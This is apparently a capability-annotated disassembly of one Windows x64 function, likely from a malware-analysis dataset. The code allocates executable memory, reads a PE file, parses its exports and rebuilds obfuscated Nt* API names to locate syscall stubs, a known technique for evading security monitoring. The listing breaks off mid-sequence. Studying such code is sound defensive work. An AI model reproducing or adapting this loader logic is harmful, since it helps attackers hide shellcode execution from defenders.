Function at 0x4035b3
Capabilities:
Allocate or change rwx memory
Enumerate process modules
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rdi
push rbx
mov eax, 0x5d40
call fcn.00415e30
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.00414f30
call fcn.00401704
lea rax, [rbp + 0x2b72]
lea rdx, [rbp + 0x2b7e]
mov rcx, rax
call fcn.00401d28
lea rax, [rbp + 0x2b60]
lea rdx, [rbp + 0x2b7f]
mov rcx, rax
call fcn.00401d9a
lea rdx, [rbp + 0x2360]
mov eax, 0
mov ecx, 0x100
mov rdi, rdx
rep stosq qword [rdi], rax
mov qword [rbp + 0x5c90], 0x800
mov dword [rbp + 0x5c8c], 0
mov dword [rbp + 0x5c88], 0
mov qword [rbp + 0x5c80], 0
mov qword [rbp + 0x22e0], 0
mov qword [rbp + 0x22e8], 0
mov qword [rbp + 0x22f0], 0
mov qword [rbp + 0x22f8], 0
mov qword [rbp + 0x2300], 0
mov qword [rbp + 0x2308], 0
mov qword [rbp + 0x2310], 0
mov qword [rbp + 0x2318], 0
mov qword [rbp + 0x2320], 0
mov qword [rbp + 0x2328], 0
mov qword [rbp + 0x2330], 0
mov qword [rbp + 0x2338], 0
mov qword [rbp + 0x2340], 0
mov qword [rbp + 0x2348], 0
mov qword [rbp + 0x2350], 0
mov qword [rbp + 0x2358], 0
mov qword [rbp + 0x5c78], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x5c74], eax
mov eax, dword [rbp + 0x5c74]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x5c68], rax
mov rax, qword [rbp + 0x5c68]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x5c60], rax
mov rax, qword [rbp + 0x5c60]
add rax, 0x17
mov qword [rbp + 0x5c58], rax
mov rax, qword [rbp + 0x5c58]
add rax, 0x17
mov qword [rbp + 0x5c50], rax
mov rax, qword [rbp + 0x5c50]
add rax, 0x17
mov qword [rbp + 0x5c48], rax
mov rax, qword [rbp + 0x5c48]
add rax, 0x17
mov qword [rbp + 0x5c40], rax
mov rax, qword [rbp + 0x5c40]
add rax, 0x17
mov qword [rbp + 0x5c38], rax
mov rax, qword [rbp + 0x5c38]
add rax, 0x17
mov qword [rbp + 0x5c30], rax
mov rax, qword [rbp + 0x5c30]
add rax, 0x17
mov qword [rbp + 0x5c28], rax
mov rax, qword [rbp + 0x5c28]
add rax, 0x17
mov qword [rbp + 0x5c20], rax
mov rax, qword [rbp + 0x5c20]
add rax, 0x17
mov qword [rbp + 0x5c18], rax
mov rax, qword [rbp + 0x5c18]
add rax, 0x17
mov qword [rbp + 0x5c10], rax
mov rax, qword [rbp + 0x5c10]
add rax, 0x17
mov qword [rbp + 0x5c08], rax
mov rax, qword [rbp + 0x5c08]
add rax, 0x17
mov qword [rbp + 0x5c00], rax
mov rax, qword [rbp + 0x5c00]
add rax, 0x17
mov qword [rbp + 0x5bf8], rax
mov rax, qword [rbp + 0x5bf8]
add rax, 0x17
mov qword [rbp + 0x5bf0], rax
mov rax, qword [rbp + 0x5bf0]
add rax, 0x17
mov qword [rbp + 0x5be8], rax
mov rax, qword [rbp + 0x5be8]
add rax, 0x17
mov qword [rbp + 0x5be0], rax
mov rax, qword [rbp + 0x5be0]
add rax, 0x17
mov qword [rbp + 0x5bd8], rax
mov dword [rbp + 0x22dc], 0
mov qword [rbp + 0x5bd0], 0
mov dword [rbp + 0x5bcc], 0
mov dword [rbp + 0x22d8], 0
mov qword [rbp + 0x5bc0], 0
mov rax, qword [rbp + 0x5c60]
mov qword [0x0517c048], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5c60]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5c58]
mov qword [0x0517c050], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5c58]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5c50]
mov qword [0x0517c058], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5c50]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5c48]
mov qword [0x0517c060], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5c48]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5c40]
mov qword [0x0517c068], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5c40]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5c38]
mov qword [0x0517c070], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5c38]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5c30]
mov qword [0x0517c078], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5c30]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5c28]
mov qword [0x0517c080], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5c28]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5c20]
mov qword [0x0517c088], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5c20]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5c18]
mov qword [0x0517c090], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5c18]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5c10]
mov qword [0x0517c098], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5c10]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5c08]
mov qword [0x0517c0a0], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5c08]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5c00]
mov qword [0x0517c0a8], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5c00]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5bf8]
mov qword [0x0517c0b0], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5bf8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5bf0]
mov qword [0x0517c0b8], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5bf0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5be8]
mov qword [0x0517c0c0], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5be8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5be0]
mov qword [0x0517c0c8], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5be0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5bd8]
mov qword [0x0517c0d0], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5bd8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rcx, [0x05150ea6]
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x5bd0], rax
mov rax, qword [rbp + 0x5bd0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x5bcc], eax
mov ebx, dword [rbp + 0x5bcc]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x5bc0], rax
lea r8, [rbp + 0x22d8]
mov ecx, dword [rbp + 0x5bcc]
mov rdx, qword [rbp + 0x5bc0]
mov rax, qword [rbp + 0x5bd0]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x5bc0]
mov qword [rbp + 0x5bb8], rax
mov rax, qword [rbp + 0x5bb8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5bc0]
add rax, rdx
mov qword [rbp + 0x5bb0], rax
mov rax, qword [rbp + 0x5bb0]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x5bac], eax
mov rax, qword [rbp + 0x5bb0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x5bb0]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x5cb8], rax
mov rax, qword [rbp + 0x5cb8]
mov qword [rbp + 0x5ba0], rax
mov rax, qword [rbp + 0x5cb8]
mov qword [rbp + 0x5cb0], rax
mov dword [rbp + 0x5cac], 0
mov rax, qword [rbp + 0x5bb0]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x5cac], eax
jge 0x403e2c
mov rax, qword [rbp + 0x5cb8]
lea rdx, str..rdata
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x403e1b
mov rax, qword [rbp + 0x5cb8]
mov qword [rbp + 0x5cb0], rax
jmp 0x403e2c
add qword [rbp + 0x5cb8], 0x28
add dword [rbp + 0x5cac], 1
jmp 0x403ddb
mov edx, dword [rbp + 0x5bac]
mov rax, qword [rbp + 0x5bc0]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x5cb0]
mov rdx, rax
call fcn.004015a0
mov qword [rbp + 0x5b98], rax
lea rax, [rbp + 0x2e4f]
mov rcx, rax
call fcn.0046f000
lea rdx, [rbp + 0x2e4f]
lea rax, [rbp + 0x2e20]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a6f40
lea rax, [rbp + 0x2e00]
lea rdx, [rbp + 0x2e20]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2de0]
lea rdx, [rbp + 0x2e00]
lea r8, [0x05150ecf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2dc0]
lea rdx, [rbp + 0x2de0]
lea r8, [0x05150ed1]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2da0]
lea rdx, [rbp + 0x2dc0]
lea r8, [0x05150ed1]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2d80]
lea rdx, [rbp + 0x2da0]
lea r8, [0x05150ed3]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2d60]
lea rdx, [rbp + 0x2d80]
lea r8, [0x05150ed5]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2d40]
lea rdx, [rbp + 0x2d60]
lea r8, [0x05150ed7]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2d20]
lea rdx, [rbp + 0x2d40]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2d00]
lea rdx, [rbp + 0x2d20]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2ce0]
lea rdx, [rbp + 0x2d00]
lea r8, [0x05150edb]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2cc0]
lea rdx, [rbp + 0x2ce0]
lea r8, [0x05150edd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2ca0]
lea rdx, [rbp + 0x2cc0]
lea r8, [0x05150edf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2c80]
lea rdx, [rbp + 0x2ca0]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2c60]
lea rdx, [rbp + 0x2c80]
lea r8, [0x05150ee1]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2c40]
lea rdx, [rbp + 0x2c60]
lea r8, [0x05150ed7]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2c20]
lea rdx, [rbp + 0x2c40]
lea r8, [0x05150ed1]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2c00]
lea rdx, [rbp + 0x2c20]
lea r8, [0x05150ee3]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2be0]
lea rdx, [rbp + 0x2c00]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2bc0]
lea rdx, [rbp + 0x2be0]
lea r8, [0x05150ee5]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2ba0]
lea rdx, [rbp + 0x2bc0]
lea r8, [0x05150ed3]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2b80]
lea rdx, [rbp + 0x2ba0]
lea r8, [0x05150edf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x22b0]
lea rdx, [rbp + 0x2b80]
lea r8, [0x05150ee7]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2b80]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2ba0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2bc0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2be0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2c00]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2c20]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2c40]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2c60]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2c80]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2ca0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2cc0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2ce0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2d00]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2d20]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2d40]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2d60]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2d80]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2da0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2dc0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2de0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2e00]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2e20]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2e4f]
mov rcx, rax
call fcn.0046f030
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x2e50]
mov rcx, rax
call fcn.004a6ad0
mov r9, qword [rbp + 0x5ba0]
mov r8, qword [rbp + 0x5bc0]
mov rdx, qword [rbp + 0x5b98]
lea rax, [rbp + 0x2e50]
mov rcx, qword [rbp + 0x5c60]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5cb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x5b94], eax
lea rax, [rbp + 0x2e50]
mov rcx, rax
call fcn.004a7590
cmp dword [rbp + 0x5b94], 0
je 0x4042d2
lea rbx, [0x05150ee9]
jmp 0x4042d9
lea rbx, [0x05150eee]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.00431ff0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x30ff]
mov rcx, rax
call fcn.0046f000
lea rdx, [rbp + 0x30ff]
lea rax, [rbp + 0x30d0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a6f40
lea rax, [rbp + 0x30b0]
lea rdx, [rbp + 0x30d0]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3090]
lea rdx, [rbp + 0x30b0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3070]
lea rdx, [rbp + 0x3090]
lea r8, [0x05150edf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3050]
lea rdx, [rbp + 0x3070]
lea r8, [0x05150edd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3030]
lea rdx, [rbp + 0x3050]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3010]
lea rdx, [rbp + 0x3030]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2ff0]
lea rdx, [rbp + 0x3010]
lea r8, [0x05150edb]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2fd0]
lea rdx, [rbp + 0x2ff0]
lea r8, [0x05150edd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2fb0]
lea rdx, [rbp + 0x2fd0]
lea r8, [0x05150edf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2f90]
lea rdx, [rbp + 0x2fb0]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2f70]
lea rdx, [rbp + 0x2f90]
lea r8, [0x05150ee1]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2f50]
lea rdx, [rbp + 0x2f70]
lea r8, [0x05150ed7]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2f30]
lea rdx, [rbp + 0x2f50]
lea r8, [0x05150ed1]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2f10]
lea rdx, [rbp + 0x2f30]
lea r8, [0x05150ee3]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2ef0]
lea rdx, [rbp + 0x2f10]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2ed0]
lea rdx, [rbp + 0x2ef0]
lea r8, [0x05150ee5]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2eb0]
lea rdx, [rbp + 0x2ed0]
lea r8, [0x05150ed3]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2e90]
lea rdx, [rbp + 0x2eb0]
lea r8, [0x05150edf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x2e70]
lea rdx, [rbp + 0x2e90]
lea r8, [0x05150ee7]
mov rcx, rax
call fcn.004b6f20
lea rdx, [rbp + 0x2e70]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x2e70]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2e90]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2eb0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2ed0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2ef0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2f10]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2f30]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2f50]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2f70]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2f90]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2fb0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2fd0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x2ff0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3010]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3030]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3050]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3070]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3090]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x30b0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x30d0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x30ff]
mov rcx, rax
call fcn.0046f030
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x3100]
mov rcx, rax
call fcn.004a6ad0
mov r9, qword [rbp + 0x5ba0]
mov r8, qword [rbp + 0x5bc0]
mov rdx, qword [rbp + 0x5b98]
lea rax, [rbp + 0x3100]
mov rcx, qword [rbp + 0x5c58]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5cb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x5b94], eax
lea rax, [rbp + 0x3100]
mov rcx, rax
call fcn.004a7590
cmp dword [rbp + 0x5b94], 0
je 0x40471a
lea rbx, [0x05150ee9]
jmp 0x404721
lea rbx, [0x05150eee]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.00431ff0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x33ef]
mov rcx, rax
call fcn.0046f000
lea rdx, [rbp + 0x33ef]
lea rax, [rbp + 0x33c0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a6f40
lea rax, [rbp + 0x33a0]
lea rdx, [rbp + 0x33c0]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3380]
lea rdx, [rbp + 0x33a0]
lea r8, [0x05150f09]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3360]
lea rdx, [rbp + 0x3380]
lea r8, [0x05150edf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3340]
lea rdx, [rbp + 0x3360]
lea r8, [0x05150ed3]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3320]
lea rdx, [rbp + 0x3340]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3300]
lea rdx, [rbp + 0x3320]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x32e0]
lea rdx, [rbp + 0x3300]
lea r8, [0x05150ed5]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x32c0]
lea rdx, [rbp + 0x32e0]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x32a0]
lea rdx, [rbp + 0x32c0]
lea r8, [0x05150edb]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3280]
lea rdx, [rbp + 0x32a0]
lea r8, [0x05150edd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3260]
lea rdx, [rbp + 0x3280]
lea r8, [0x05150edf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3240]
lea rdx, [rbp + 0x3260]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3220]
lea rdx, [rbp + 0x3240]
lea r8, [0x05150ee1]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3200]
lea rdx, [rbp + 0x3220]
lea r8, [0x05150ed7]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x31e0]
lea rdx, [rbp + 0x3200]
lea r8, [0x05150ed1]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x31c0]
lea rdx, [rbp + 0x31e0]
lea r8, [0x05150ee3]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x31a0]
lea rdx, [rbp + 0x31c0]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3180]
lea rdx, [rbp + 0x31a0]
lea r8, [0x05150ee5]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3160]
lea rdx, [rbp + 0x3180]
lea r8, [0x05150ed3]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3140]
lea rdx, [rbp + 0x3160]
lea r8, [0x05150edf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x3120]
lea rdx, [rbp + 0x3140]
lea r8, [0x05150ee7]
mov rcx, rax
call fcn.004b6f20
lea rdx, [rbp + 0x3120]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x3120]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3140]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3160]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3180]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x31a0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x31c0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x31e0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3200]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3220]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3240]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3260]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3280]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x32a0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x32c0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x32e0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3300]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3320]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3340]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3360]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x3380]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x33a0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x33c0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x33ef]
mov rcx, rax
call fcn.0046f030
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x33f0]
mov rcx, rax
call fcn.004a6ad0
mov r9, qword [rbp + 0x5ba0]
mov r8, qword [rbp + 0x5bc0]
mov rdx, qword [rbp + 0x5b98]
lea rax, [rbp + 0x33f0]
mov rcx, qword [rbp + 0x5c50]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5cb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x5b94], eax
lea rax, [rbp + 0x33f0]
mov rcx, rax
call fcn.004a7590
cmp dword [rbp + 0x5b94], 0
je 0x404bba
lea rbx, [0x05150ee9]
jmp 0x404bc1
lea rbx, [0x05150eee]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.00431ff0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x361f]
mov rcx, rax
call fcn.0046f000
lea rdx, [rbp + 0x361f]
lea rax, [rbp + 0x35f0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a6f40
lea rax, [rbp + 0x35d0]
lea rdx, [rbp + 0x35f0]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x35b0]
lea rdx, [rbp + 0x35d0]
